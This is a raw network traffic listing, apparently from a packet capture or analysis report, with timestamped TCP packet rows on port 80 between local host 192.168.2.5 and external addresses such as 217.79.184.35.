Oct 25, 2024 11:18:15.937753916 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937776089 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937788010 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937793970 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937799931 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937813997 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937817097 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937825918 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937838078 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937858105 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.938421965 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.938473940 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.938478947 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.938497066 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.938512087 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.938525915 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.938534975 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.938534975 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.938549042 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.938555956 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.938584089 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.938640118 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939342976 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939356089 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939367056 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939378977 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939402103 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939435959 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939836979 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939848900 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939882994 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939883947 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939894915 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939902067 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939907074 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939917088 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939920902 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.939939022 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939946890 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.939971924 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.940917015 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.940928936 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.940939903 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.940953016 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.940964937 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.940967083 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.940978050 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.940979004 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.941008091 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.941023111 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.941675901 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.941687107 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.941698074 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.941709042 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.941723108 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.941739082 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.941760063 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.963681936 CEST	80	52870	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:15.963746071 CEST	52870	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:15.972878933 CEST	80	52984	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:15.973115921 CEST	52984	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.974127054 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.974153042 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.974164009 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.974196911 CEST	52989	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.974198103 CEST	52989	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.974234104 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.974246979 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.974257946 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.974267960 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.974294901 CEST	52989	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.974335909 CEST	52989	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.996681929 CEST	80	52986	147.154.3.56	192.168.2.5
Oct 25, 2024 11:18:15.996787071 CEST	52986	80	192.168.2.5	147.154.3.56
Oct 25, 2024 11:18:15.997417927 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:15.997436047 CEST	80	52986	147.154.3.56	192.168.2.5
Oct 25, 2024 11:18:15.997731924 CEST	52986	80	192.168.2.5	147.154.3.56
Oct 25, 2024 11:18:15.997747898 CEST	53004	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:15.998119116 CEST	52984	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.999078989 CEST	53005	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:18:16.000792027 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.000849009 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.000859022 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.000866890 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.000881910 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.000894070 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.000901937 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.000931025 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.001245975 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.001342058 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.001384020 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.001386881 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.001576900 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.003968000 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:16.003982067 CEST	80	53004	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:16.004056931 CEST	53004	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:16.004070997 CEST	80	52984	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:16.004497051 CEST	80	53005	198.100.146.220	192.168.2.5
Oct 25, 2024 11:18:16.004682064 CEST	53005	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:18:16.005307913 CEST	53004	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:16.006112099 CEST	53006	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:16.006213903 CEST	53005	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:18:16.010565042 CEST	80	53004	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:16.011501074 CEST	80	53006	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:16.011643887 CEST	53006	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:16.011702061 CEST	80	53005	198.100.146.220	192.168.2.5
Oct 25, 2024 11:18:16.011710882 CEST	53006	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:16.017600060 CEST	80	53006	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:16.024745941 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.024802923 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.024818897 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.024831057 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.024842978 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.024867058 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.024904013 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.025156975 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025216103 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025227070 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025237083 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025284052 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.025316000 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.025887012 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025898933 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025909901 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025954008 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025968075 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.025979042 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.025979042 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.026026011 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.026026964 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.026791096 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.026845932 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.033843040 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.033864975 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.033883095 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.033898115 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.033912897 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.033940077 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.033956051 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034013987 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034013987 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034013987 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034014940 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034060955 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034075975 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034091949 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034106016 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034106016 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034131050 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034153938 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034430027 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034470081 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034473896 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034514904 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034567118 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034586906 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034603119 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034610033 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034619093 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034634113 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034635067 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034643888 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034650087 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034658909 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034666061 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034678936 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034679890 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.034688950 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034709930 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.034719944 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.038006067 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.038026094 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.038041115 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.038054943 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.038065910 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.038072109 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.038105011 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.038120031 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.038213015 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.038227081 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.038264990 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.054356098 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.054374933 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.054390907 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.054419041 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.054451942 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.056404114 CEST	80	52980	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:16.056458950 CEST	52980	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:16.059437990 CEST	80	52988	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:16.059494972 CEST	52988	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:16.065418005 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065447092 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065459013 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065481901 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065485001 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.065495968 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.065498114 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065514088 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065526962 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.065557003 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.065785885 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065798998 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065845966 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.065915108 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065928936 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065944910 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065958023 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.065959930 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.065978050 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.065989017 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066010952 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066271067 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066334963 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066356897 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066380024 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066411018 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066436052 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066440105 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066454887 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066499949 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066654921 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066699982 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066725016 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066772938 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066798925 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066813946 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066821098 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066829920 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066854000 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066869020 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066907883 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066921949 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066936970 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066952944 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066963911 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066963911 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066970110 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066977978 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.066983938 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.066988945 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.067011118 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.067027092 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.067574024 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.067589998 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.067612886 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.067627907 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.067639112 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.067641973 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.067656994 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.067673922 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.067691088 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.067713022 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.068171024 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068186045 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068200111 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068222046 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068229914 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.068238974 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068253040 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068262100 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.068269968 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068275928 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.068288088 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068303108 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068312883 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.068319082 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.068340063 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.068358898 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069037914 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069096088 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069137096 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069159985 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069175005 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069188118 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069201946 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069201946 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069211006 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069215059 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069226027 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069226980 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069243908 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069245100 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069261074 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069267988 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069279909 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069287062 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069300890 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069322109 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.069927931 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.069983959 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070024967 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070048094 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070061922 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070075989 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070079088 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070091009 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070106030 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070106983 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070122957 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070135117 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070137978 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070144892 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070154905 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070177078 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070200920 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070842028 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070883036 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070931911 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070952892 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070977926 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.070981979 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.070993900 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.071012020 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.071012020 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.071026087 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.071026087 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.071036100 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.071043968 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.071053028 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.071068048 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.071084023 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.071115971 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.071115971 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.071140051 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.071747065 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.071890116 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.073975086 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:16.077577114 CEST	53010	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:16.077739954 CEST	53011	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:16.079253912 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:16.079328060 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:16.079456091 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:16.079483032 CEST	53009	80	192.168.2.5	74.208.236.101
